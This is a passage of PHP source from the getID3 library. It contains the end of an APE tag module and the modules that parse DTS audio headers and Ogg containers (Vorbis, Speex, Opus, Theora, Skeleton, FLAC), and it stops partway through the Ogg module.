		$flags                      = array();
		$flags['header']            = (bool) ($rawflagint & 0x80000000);
		$flags['footer']            = (bool) ($rawflagint & 0x40000000);
		$flags['this_is_header']    = (bool) ($rawflagint & 0x20000000);
		$flags['item_contents_raw'] =        ($rawflagint & 0x00000006) >> 1;
		$flags['read_only']         = (bool) ($rawflagint & 0x00000001);

		$flags['item_contents']     = $this->APEcontentTypeFlagLookup($flags['item_contents_raw']);

		return $flags;
	}

	/**
	 * @param int $contenttypeid
	 *
	 * @return string
	 */
	public function APEcontentTypeFlagLookup($contenttypeid) {
		static $APEcontentTypeFlagLookup = array(
			0 => 'utf-8',
			1 => 'binary',
			2 => 'external',
			3 => 'reserved'
		);
		return (isset($APEcontentTypeFlagLookup[$contenttypeid]) ? $APEcontentTypeFlagLookup[$contenttypeid] : 'invalid');
	}

	/**
	 * @param string $itemkey
	 *
	 * @return bool
	 */
	public function APEtagItemIsUTF8Lookup($itemkey) {
		static $APEtagItemIsUTF8Lookup = array(
			'title',
			'subtitle',
			'artist',
			'album',
			'debut album',
			'publisher',
			'conductor',
			'track',
			'composer',
			'comment',
			'copyright',
			'publicationright',
			'file',
			'year',
			'record date',
			'record location',
			'genre',
			'media',
			'related',
			'isrc',
			'abstract',
			'language',
			'bibliography'
		);
		return in_array(strtolower($itemkey), $APEtagItemIsUTF8Lookup);
	}

}
<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.dts.php                                        //
// module for analyzing DTS Audio files                        //
// dependencies: NONE                                          //
//                                                             //
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

/**
* @tutorial http://wiki.multimedia.cx/index.php?title=DTS
*/
class getid3_dts extends getid3_handler
{
	/**
	 * Default DTS syncword used in native .cpt or .dts formats.
	 */
	const syncword = "\x7F\xFE\x80\x01";

	/**
	 * @var int
	 */
	private $readBinDataOffset = 0;

	/**
	 * Possible syncwords indicating bitstream encoding.
	 */
	public static $syncwords = array(
		0 => "\x7F\xFE\x80\x01",  // raw big-endian
		1 => "\xFE\x7F\x01\x80",  // raw little-endian
		2 => "\x1F\xFF\xE8\x00",  // 14-bit big-endian
		3 => "\xFF\x1F\x00\xE8"); // 14-bit little-endian

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;
		$info['fileformat'] = 'dts';

		$this->fseek($info['avdataoffset']);
		$DTSheader = $this->fread(20); // we only need 2 words magic + 6 words frame header, but these words may be normal 16-bit words OR 14-bit words with 2 highest bits set to zero, so 8 words can be either 8*16/8 = 16 bytes OR 8*16*(16/14)/8 = 18.3 bytes

		// check syncword
		$sync = substr($DTSheader, 0, 4);
		if (($encoding = array_search($sync, self::$syncwords)) !== false) {

			$info['dts']['raw']['magic'] = $sync;
			$this->readBinDataOffset = 32;

		} elseif ($this->isDependencyFor('matroska')) {

			// Matroska contains DTS without syncword encoded as raw big-endian format
			$encoding = 0;
			$this->readBinDataOffset = 0;

		} else {

			unset($info['fileformat']);
			return $this->error('Expecting "'.implode('| ', array_map('getid3_lib::PrintHexBytes', self::$syncwords)).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($sync).'"');

		}

		// decode header
		$fhBS = '';
		for ($word_offset = 0; $word_offset <= strlen($DTSheader); $word_offset += 2) {
			switch ($encoding) {
				case 0: // raw big-endian
					$fhBS .=        getid3_lib::BigEndian2Bin(       substr($DTSheader, $word_offset, 2) );
					break;
				case 1: // raw little-endian
					$fhBS .=        getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2)));
					break;
				case 2: // 14-bit big-endian
					$fhBS .= substr(getid3_lib::BigEndian2Bin(       substr($DTSheader, $word_offset, 2) ), 2, 14);
					break;
				case 3: // 14-bit little-endian
					$fhBS .= substr(getid3_lib::BigEndian2Bin(strrev(substr($DTSheader, $word_offset, 2))), 2, 14);
					break;
			}
		}

		$info['dts']['raw']['frame_type']             =        $this->readBinData($fhBS,  1);
		$info['dts']['raw']['deficit_samples']        =        $this->readBinData($fhBS,  5);
		$info['dts']['flags']['crc_present']          = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['pcm_sample_blocks']      =        $this->readBinData($fhBS,  7);
		$info['dts']['raw']['frame_byte_size']        =        $this->readBinData($fhBS, 14);
		$info['dts']['raw']['channel_arrangement']    =        $this->readBinData($fhBS,  6);
		$info['dts']['raw']['sample_frequency']       =        $this->readBinData($fhBS,  4);
		$info['dts']['raw']['bitrate']                =        $this->readBinData($fhBS,  5);
		$info['dts']['flags']['embedded_downmix']     = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['dynamicrange']         = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['timestamp']            = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['auxdata']              = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['hdcd']                 = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['extension_audio']        =        $this->readBinData($fhBS,  3);
		$info['dts']['flags']['extended_coding']      = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['audio_sync_insertion'] = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['lfe_effects']            =        $this->readBinData($fhBS,  2);
		$info['dts']['flags']['predictor_history']    = (bool) $this->readBinData($fhBS,  1);
		if ($info['dts']['flags']['crc_present']) {
			$info['dts']['raw']['crc16']              =        $this->readBinData($fhBS, 16);
		}
		$info['dts']['flags']['mri_perfect_reconst']  = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['encoder_soft_version']   =        $this->readBinData($fhBS,  4);
		$info['dts']['raw']['copy_history']           =        $this->readBinData($fhBS,  2);
		$info['dts']['raw']['bits_per_sample']        =        $this->readBinData($fhBS,  2);
		$info['dts']['flags']['surround_es']          = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['front_sum_diff']       = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['flags']['surround_sum_diff']    = (bool) $this->readBinData($fhBS,  1);
		$info['dts']['raw']['dialog_normalization']   =        $this->readBinData($fhBS,  4);


		$info['dts']['bitrate']              = self::bitrateLookup($info['dts']['raw']['bitrate']);
		$info['dts']['bits_per_sample']      = self::bitPerSampleLookup($info['dts']['raw']['bits_per_sample']);
		$info['dts']['sample_rate']          = self::sampleRateLookup($info['dts']['raw']['sample_frequency']);
		$info['dts']['dialog_normalization'] = self::dialogNormalization($info['dts']['raw']['dialog_normalization'], $info['dts']['raw']['encoder_soft_version']);
		$info['dts']['flags']['lossless']    = (($info['dts']['raw']['bitrate'] == 31) ? true  : false);
		$info['dts']['bitrate_mode']         = (($info['dts']['raw']['bitrate'] == 30) ? 'vbr' : 'cbr');
		$info['dts']['channels']             = self::numChannelsLookup($info['dts']['raw']['channel_arrangement']);
		$info['dts']['channel_arrangement']  = self::channelArrangementLookup($info['dts']['raw']['channel_arrangement']);

		$info['audio']['dataformat']          = 'dts';
		$info['audio']['lossless']            = $info['dts']['flags']['lossless'];
		$info['audio']['bitrate_mode']        = $info['dts']['bitrate_mode'];
		$info['audio']['bits_per_sample']     = $info['dts']['bits_per_sample'];
		$info['audio']['sample_rate']         = $info['dts']['sample_rate'];
		$info['audio']['channels']            = $info['dts']['channels'];
		$info['audio']['bitrate']             = $info['dts']['bitrate'];
		if (isset($info['avdataend']) && !empty($info['dts']['bitrate']) && is_numeric($info['dts']['bitrate'])) {
			$info['playtime_seconds']         = ($info['avdataend'] - $info['avdataoffset']) / ($info['dts']['bitrate'] / 8);
			if (($encoding == 2) || ($encoding == 3)) {
				// 14-bit data packed into 16-bit words, so the playtime is wrong because only (14/16) of the bytes in the data portion of the file are used at the specified bitrate
				$info['playtime_seconds'] *= (14 / 16);
			}
		}
		return true;
	}

	/**
	 * @param string $bin
	 * @param int $length
	 *
	 * @return int
	 */
	private function readBinData($bin, $length) {
		$data = substr($bin, $this->readBinDataOffset, $length);
		$this->readBinDataOffset += $length;

		return bindec($data);
	}

	/**
	 * @param int $index
	 *
	 * @return int|string|false
	 */
	public static function bitrateLookup($index) {
		static $lookup = array(
			0  => 32000,
			1  => 56000,
			2  => 64000,
			3  => 96000,
			4  => 112000,
			5  => 128000,
			6  => 192000,
			7  => 224000,
			8  => 256000,
			9  => 320000,
			10 => 384000,
			11 => 448000,
			12 => 512000,
			13 => 576000,
			14 => 640000,
			15 => 768000,
			16 => 960000,
			17 => 1024000,
			18 => 1152000,
			19 => 1280000,
			20 => 1344000,
			21 => 1408000,
			22 => 1411200,
			23 => 1472000,
			24 => 1536000,
			25 => 1920000,
			26 => 2048000,
			27 => 3072000,
			28 => 3840000,
			29 => 'open',
			30 => 'variable',
			31 => 'lossless',
		);
		return (isset($lookup[$index]) ? $lookup[$index] : false);
	}

	/**
	 * @param int $index
	 *
	 * @return int|string|false
	 */
	public static function sampleRateLookup($index) {
		static $lookup = array(
			0  => 'invalid',
			1  => 8000,
			2  => 16000,
			3  => 32000,
			4  => 'invalid',
			5  => 'invalid',
			6  => 11025,
			7  => 22050,
			8  => 44100,
			9  => 'invalid',
			10 => 'invalid',
			11 => 12000,
			12 => 24000,
			13 => 48000,
			14 => 'invalid',
			15 => 'invalid',
		);
		return (isset($lookup[$index]) ? $lookup[$index] : false);
	}

	/**
	 * @param int $index
	 *
	 * @return int|false
	 */
	public static function bitPerSampleLookup($index) {
		static $lookup = array(
			0  => 16,
			1  => 20,
			2  => 24,
			3  => 24,
		);
		return (isset($lookup[$index]) ? $lookup[$index] : false);
	}

	/**
	 * @param int $index
	 *
	 * @return int|false
	 */
	public static function numChannelsLookup($index) {
		switch ($index) {
			case 0:
				return 1;
			case 1:
			case 2:
			case 3:
			case 4:
				return 2;
			case 5:
			case 6:
				return 3;
			case 7:
			case 8:
				return 4;
			case 9:
				return 5;
			case 10:
			case 11:
			case 12:
				return 6;
			case 13:
				return 7;
			case 14:
			case 15:
				return 8;
		}
		return false;
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public static function channelArrangementLookup($index) {
		static $lookup = array(
			0  => 'A',
			1  => 'A + B (dual mono)',
			2  => 'L + R (stereo)',
			3  => '(L+R) + (L-R) (sum-difference)',
			4  => 'LT + RT (left and right total)',
			5  => 'C + L + R',
			6  => 'L + R + S',
			7  => 'C + L + R + S',
			8  => 'L + R + SL + SR',
			9  => 'C + L + R + SL + SR',
			10 => 'CL + CR + L + R + SL + SR',
			11 => 'C + L + R+ LR + RR + OV',
			12 => 'CF + CR + LF + RF + LR + RR',
			13 => 'CL + C + CR + L + R + SL + SR',
			14 => 'CL + CR + L + R + SL1 + SL2 + SR1 + SR2',
			15 => 'CL + C+ CR + L + R + SL + S + SR',
		);
		return (isset($lookup[$index]) ? $lookup[$index] : 'user-defined');
	}

	/**
	 * @param int $index
	 * @param int $version
	 *
	 * @return int|false
	 */
	public static function dialogNormalization($index, $version) {
		switch ($version) {
			case 7:
				return 0 - $index;
			case 6:
				return 0 - 16 - $index;
		}
		return false;
	}

}
<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.ogg.php                                        //
// module for analyzing Ogg Vorbis, OggFLAC and Speex files    //
// dependencies: module.audio.flac.php                         //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.flac.php', __FILE__, true);

class getid3_ogg extends getid3_handler
{
	/**
	 * @link http://xiph.org/vorbis/doc/Vorbis_I_spec.html
	 *
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		$info['fileformat'] = 'ogg';

		// Warn about illegal tags - only vorbiscomments are allowed
		if (isset($info['id3v2'])) {
			$this->warning('Illegal ID3v2 tag present.');
		}
		if (isset($info['id3v1'])) {
			$this->warning('Illegal ID3v1 tag present.');
		}
		if (isset($info['ape'])) {
			$this->warning('Illegal APE tag present.');
		}


		// Page 1 - Stream Header

		$this->fseek($info['avdataoffset']);

		$oggpageinfo = $this->ParseOggPageHeader();
		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;

		if ($this->ftell() >= $this->getid3->fread_buffer_size()) {
			$this->error('Could not find start of Ogg page in the first '.$this->getid3->fread_buffer_size().' bytes (this might not be an Ogg-Vorbis file?)');
			unset($info['fileformat']);
			unset($info['ogg']);
			return false;
		}

		$filedata = $this->fread($oggpageinfo['page_length']);
		$filedataoffset = 0;

		if (substr($filedata, 0, 4) == 'fLaC') {

			$info['audio']['dataformat']   = 'flac';
			$info['audio']['bitrate_mode'] = 'vbr';
			$info['audio']['lossless']     = true;

		} elseif (substr($filedata, 1, 6) == 'vorbis') {

			$this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo);

		} elseif (substr($filedata, 0, 8) == 'OpusHead') {

			if ($this->ParseOpusPageHeader($filedata, $filedataoffset, $oggpageinfo) === false) {
				return false;
			}

		} elseif (substr($filedata, 0, 8) == 'Speex   ') {

			// http://www.speex.org/manual/node10.html

			$info['audio']['dataformat']   = 'speex';
			$info['mime_type']             = 'audio/speex';
			$info['audio']['bitrate_mode'] = 'abr';
			$info['audio']['lossless']     = false;

			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_string']           =                              substr($filedata, $filedataoffset, 8); // hard-coded to 'Speex   '
			$filedataoffset += 8;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version']          =                              substr($filedata, $filedataoffset, 20);
			$filedataoffset += 20;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version_id']       = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['header_size']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate']                   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode']                   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode_bitstream_version'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['bitrate']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['framesize']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr']                    = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['frames_per_packet']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['extra_headers']          = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved1']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved2']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;

			$info['speex']['speex_version'] = trim($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version']);
			$info['speex']['sample_rate']   = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate'];
			$info['speex']['channels']      = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels'];
			$info['speex']['vbr']           = (bool) $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr'];
			$info['speex']['band_type']     = $this->SpeexBandModeLookup($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode']);

			$info['audio']['sample_rate']   = $info['speex']['sample_rate'];
			$info['audio']['channels']      = $info['speex']['channels'];
			if ($info['speex']['vbr']) {
				$info['audio']['bitrate_mode'] = 'vbr';
			}

		} elseif (substr($filedata, 0, 7) == "\x80".'theora') {

			// http://www.theora.org/doc/Theora.pdf (section 6.2)

			$info['ogg']['pageheader']['theora']['theora_magic']             =                           substr($filedata, $filedataoffset,  7); // hard-coded to "\x80.'theora'
			$filedataoffset += 7;
			$info['ogg']['pageheader']['theora']['version_major']            = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['version_minor']            = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['version_revision']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['frame_width_macroblocks']  = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;
			$info['ogg']['pageheader']['theora']['frame_height_macroblocks'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;
			$info['ogg']['pageheader']['theora']['resolution_x']             = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['resolution_y']             = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['picture_offset_x']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['picture_offset_y']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['frame_rate_numerator']     = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  4));
			$filedataoffset += 4;
			$info['ogg']['pageheader']['theora']['frame_rate_denominator']   = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  4));
			$filedataoffset += 4;
			$info['ogg']['pageheader']['theora']['pixel_aspect_numerator']   = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['color_space_id']           = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['nominal_bitrate']          = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['flags']                    = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;

			$info['ogg']['pageheader']['theora']['quality']         = ($info['ogg']['pageheader']['theora']['flags'] & 0xFC00) >> 10;
			$info['ogg']['pageheader']['theora']['kfg_shift']       = ($info['ogg']['pageheader']['theora']['flags'] & 0x03E0) >>  5;
			$info['ogg']['pageheader']['theora']['pixel_format_id'] = ($info['ogg']['pageheader']['theora']['flags'] & 0x0018) >>  3;
			$info['ogg']['pageheader']['theora']['reserved']        = ($info['ogg']['pageheader']['theora']['flags'] & 0x0007) >>  0; // should be 0
			$info['ogg']['pageheader']['theora']['color_space']     = self::TheoraColorSpace($info['ogg']['pageheader']['theora']['color_space_id']);
			$info['ogg']['pageheader']['theora']['pixel_format']    = self::TheoraPixelFormat($info['ogg']['pageheader']['theora']['pixel_format_id']);

			$info['video']['dataformat']   = 'theora';
			$info['mime_type']             = 'video/ogg';
			//$info['audio']['bitrate_mode'] = 'abr';
			//$info['audio']['lossless']     = false;
			$info['video']['resolution_x'] = $info['ogg']['pageheader']['theora']['resolution_x'];
			$info['video']['resolution_y'] = $info['ogg']['pageheader']['theora']['resolution_y'];
			if ($info['ogg']['pageheader']['theora']['frame_rate_denominator'] > 0) {
				$info['video']['frame_rate'] = (float) $info['ogg']['pageheader']['theora']['frame_rate_numerator'] / $info['ogg']['pageheader']['theora']['frame_rate_denominator'];
			}
			if ($info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] > 0) {
				$info['video']['pixel_aspect_ratio'] = (float) $info['ogg']['pageheader']['theora']['pixel_aspect_numerator'] / $info['ogg']['pageheader']['theora']['pixel_aspect_denominator'];
			}
$this->warning('Ogg Theora (v3) not fully supported in this version of getID3 ['.$this->getid3->version().'] -- bitrate, playtime and all audio data are currently unavailable');


		} elseif (substr($filedata, 0, 8) == "fishead\x00") {

			// Ogg Skeleton version 3.0 Format Specification
			// http://xiph.org/ogg/doc/skeleton.html
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['version_major']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;
			$info['ogg']['skeleton']['fishead']['raw']['version_minor']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;
			$info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['basetime_numerator']           = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['basetime_denominator']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['utc']                          = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 20));
			$filedataoffset += 20;

			$info['ogg']['skeleton']['fishead']['version']          = $info['ogg']['skeleton']['fishead']['raw']['version_major'].'.'.$info['ogg']['skeleton']['fishead']['raw']['version_minor'];
			$info['ogg']['skeleton']['fishead']['presentationtime'] = getid3_lib::SafeDiv($info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator'], $info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator']);
			$info['ogg']['skeleton']['fishead']['basetime']         = getid3_lib::SafeDiv($info['ogg']['skeleton']['fishead']['raw']['basetime_numerator'],         $info['ogg']['skeleton']['fishead']['raw']['basetime_denominator']);
			$info['ogg']['skeleton']['fishead']['utc']              = $info['ogg']['skeleton']['fishead']['raw']['utc'];


			$counter = 0;
			do {
				$oggpageinfo = $this->ParseOggPageHeader();
				$info['ogg']['pageheader'][$oggpageinfo['page_seqno'].'.'.$counter++] = $oggpageinfo;
				$filedata = $this->fread($oggpageinfo['page_length']);
				$this->fseek($oggpageinfo['page_end_offset']);

				if (substr($filedata, 0, 8) == "fisbone\x00") {

					$filedataoffset = 8;
					$info['ogg']['skeleton']['fisbone']['raw']['message_header_offset']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
					$filedataoffset += 4;
					$info['ogg']['skeleton']['fisbone']['raw']['serial_number']           = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
					$filedataoffset += 4;
					$info['ogg']['skeleton']['fisbone']['raw']['number_header_packets']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
					$filedataoffset += 4;
					$info['ogg']['skeleton']['fisbone']['raw']['granulerate_numerator']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
					$filedataoffset += 8;
					$info['ogg']['skeleton']['fisbone']['raw']['granulerate_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
					$filedataoffset += 8;
					$info['ogg']['skeleton']['fisbone']['raw']['basegranule']             = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
					$filedataoffset += 8;
					$info['ogg']['skeleton']['fisbone']['raw']['preroll']                 = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
					$filedataoffset += 4;
					$info['ogg']['skeleton']['fisbone']['raw']['granuleshift']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
					$filedataoffset += 1;
					$info['ogg']['skeleton']['fisbone']['raw']['padding']                 =                              substr($filedata, $filedataoffset,  3);
					$filedataoffset += 3;

				} elseif (substr($filedata, 1, 6) == 'theora') {

					$info['video']['dataformat'] = 'theora1';
					$this->error('Ogg Theora (v1) not correctly handled in this version of getID3 ['.$this->getid3->version().']');
					//break;

				} elseif (substr($filedata, 1, 6) == 'vorbis') {

					$this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo);

				} else {
					$this->error('unexpected');
					//break;
				}
			//} while ($oggpageinfo['page_seqno'] == 0);
			} while (($oggpageinfo['page_seqno'] == 0) && (substr($filedata, 0, 8) != "fisbone\x00"));

			$this->fseek($oggpageinfo['page_start_offset']);

			$this->error('Ogg Skeleton not correctly handled in this version of getID3 ['.$this->getid3->version().']');
			//return false;

		} elseif (substr($filedata, 0, 5) == "\x7F".'FLAC') {
			// https://xiph.org/flac/ogg_mapping.html

			$info['audio']['dataformat']   = 'flac';
			$info['audio']['bitrate_mode'] = 'vbr';
			$info['audio']['lossless']     = true;

			$info['ogg']['flac']['header']['version_major']  =                         ord(substr($filedata,  5, 1));
			$info['ogg']['flac']['header']['version_minor']  =                         ord(substr($filedata,  6, 1));
			$info['ogg']['flac']['header']['header_packets'] =   getid3_lib::BigEndian2Int(substr($filedata,  7, 2)) + 1; // "A two-byte, big-endian binary number signifying the number of header (non-audio) packets, not including this one. This number may be zero (0x0000) to signify 'unknown' but be aware that some decoders may not be able to handle such streams."
			$info['ogg']['flac']['header']['magic']          =                             substr($filedata,  9, 4);
			if ($info['ogg']['flac']['header']['magic'] != 'fLaC') {
				$this->error('Ogg-FLAC expecting "fLaC", found "'.$info['ogg']['flac']['header']['magic'].'" ('.trim(getid3_lib::PrintHexBytes($info['ogg']['flac']['header']['magic'])).')');
				return false;
			}
			$info['ogg']['flac']['header']['STREAMINFO_bytes'] = getid3_lib::BigEndian2Int(substr($filedata, 13, 4));
			$info['flac']['STREAMINFO'] = getid3_flac::parseSTREAMINFOdata(substr($filedata, 17, 34));
			if (!empty($info['flac']['STREAMINFO']['sample_rate'])) {
				$info['audio']['bitrate_mode']    = 'vbr';
				$info['audio']['sample_rate']     = $info['flac']['STREAMINFO']['sample_rate'];
				$info['audio']['channels']        = $info['flac']['STREAMINFO']['channels'];
				$info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample'];
				$info['playtime_seconds']         = getid3_lib::SafeDiv($info['flac']['STREAMINFO']['samples_stream'], $info['flac']['STREAMINFO']['sample_rate']);
			}

		} else {

			$this->error('Expecting one of "vorbis", "Speex", "OpusHead", "vorbis", "fishhead", "theora", "fLaC" identifier strings, found "'.substr($filedata, 0, 8).'"');
			unset($info['ogg']);
			unset($info['mime_type']);
			return false;

		}

		// Page 2 - Comment Header
		$oggpageinfo = $this->ParseOggPageHeader();
		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;

		switch ($info['audio']['dataformat']) {
			case 'vorbis':
				$filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, 0, 1));
				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] =                              substr($filedata, 1, 6); // hard-coded to 'vorbis'

				$this->ParseVorbisComments();
				break;

			case 'flac':
				$flac = new getid3_flac($this->getid3);
				if (!$flac->parseMETAdata()) {
					$this->error('Failed to parse FLAC headers');
					return false;
				}
				unset($flac);
				break;

			case 'speex':
				$this->fseek($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length'], SEEK_CUR);
				$this->ParseVorbisComments();
				break;

			case 'opus':
				$filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, 0, 8); // hard-coded to 'OpusTags'
				if(substr($filedata, 0, 8)  != 'OpusTags') {
					$this->error('Expected "OpusTags" as header but got "'.substr($filedata, 0, 8).'"');
					return false;
				}

				$this->ParseVorbisComments();
				break;

		}

		// Last Page - Number of Samples
		if (!getid3_lib::intValueSupported($info['avdataend'])) {

			$this->warning('Unable to parse Ogg end chunk file (PHP does not support file operations beyond '.round(PHP_INT_MAX / 1073741824).'GB)');

		} else {

			$this->fseek(max($info['avdataend'] - $this->getid3->fread_buffer_size(), 0));
